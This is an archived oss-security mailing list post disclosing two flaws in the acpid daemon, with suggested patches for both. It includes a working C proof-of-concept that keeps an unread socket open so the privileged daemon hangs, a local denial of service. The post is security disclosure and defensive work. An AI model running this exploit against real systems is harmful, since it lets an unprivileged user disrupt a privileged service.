|
Message-ID: <20110119120307.GA7449@albatros> Date: Wed, 19 Jan 2011 15:03:07 +0300 From: Vasiliy Kulikov <segoon@...nwall.com> To: oss-security@...ts.openwall.com Subject: 2 acpid flaws I. Blocking write. I.1. Description. acpid informs unprivileged processes about acpi events via UNIX socket. This socket is in blocking mode. If unprivileged process stops reading data from the socket then, in some time, the socket queue fills up leading to hanging privileged acpid daemon. The daemon hangs until the socket peer process reads some portion of the queued data or the peer process exits/is killed. On Linux 2.6.35 the queue fills up after 208 acpi events. On the testing laptop one "BATTERY" event is emitted every 2-3 minutes, it is equivalent of 6-10 hours before triggering the hanging. I.2. Exploit. #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <errno.h> #include <sys/un.h> #include <fcntl.h> #include <unistd.h> /* Tested on acpid-1.0.10 (Ubuntu 10.04) */ int ud_connect(const char *name) { int fd; int r; struct sockaddr_un addr; fd = socket(AF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror("socket"); return fd; } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; sprintf(addr.sun_path, "%s", name); r = connect(fd, (struct sockaddr *)&addr, sizeof(addr)); if (r < 0) { perror("connect"); close(fd); return r; } return fd; } int main(int argc, char *argv[]) { int fd; char c; if (argc != 2) { fprintf(stderr, "Usage: prog fname\n"); exit(1); } fd = ud_connect(argv[1]); if (fd < 0) exit(1); printf("\"Hanging\" socket opened, fd = %d\n", fd); fd = ud_connect(argv[1]); if (fd < 0) exit(1); printf("Normal socket opened, fd = %d\n", fd); while (1) { static int n; read(fd, &c, 1); fflush(stdout); if (c == '\n') { printf("%d messages in queue\n", ++n); } } } I.3. Possible patch. --- a/acpid.c +++ b/acpid.c @@ -307,6 +307,7 @@ non_root_clients++; } fcntl(cli_fd, F_SETFD, FD_CLOEXEC); + fcntl(cli_fd, F_SETFL, O_NONBLOCK); snprintf(buf, sizeof(buf)-1, "%d[%d:%d]", creds.pid, creds.uid, creds.gid); acpid_add_client(cli_fd, buf); -- II. Incorrect accept(2) error handling. II.1. Description. acpid doesn't gracefully handle client disconnection before the call to accept(2). If client calls close(2) between acpid calls poll(2) and accept(2), acpid would hang in accept(2) until new client connects to /var/run/acpid.socket. This is only theoretical flaw as with current Linux kernel implementation accept(2) would return new socket handler even if the peer is closed. However this behavior is implementation specific and may be changed in future versions of kernels (or custom versions). II.2. Exploit. None known. II.3. Possible patch. --- a/acpid.c +++ b/acpid.c @@ -136,6 +136,7 @@ exit(EXIT_FAILURE); } fcntl(sock_fd, F_SETFD, FD_CLOEXEC); + fcntl(sock_fd, F_SETFL, O_NONBLOCK); chmod(socketfile, socketmode); if (socketgroup) { struct group *gr; -- P.S. Ideally fcntl()s' return codes should be cheched, but in this case all other fcntl/chmod/getsockopt/etc. calls should be checked too. Such a massive rework is probably not related to the subject. [1] http://acpid.sourceforge.net/ Thanks, -- Vasiliy
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.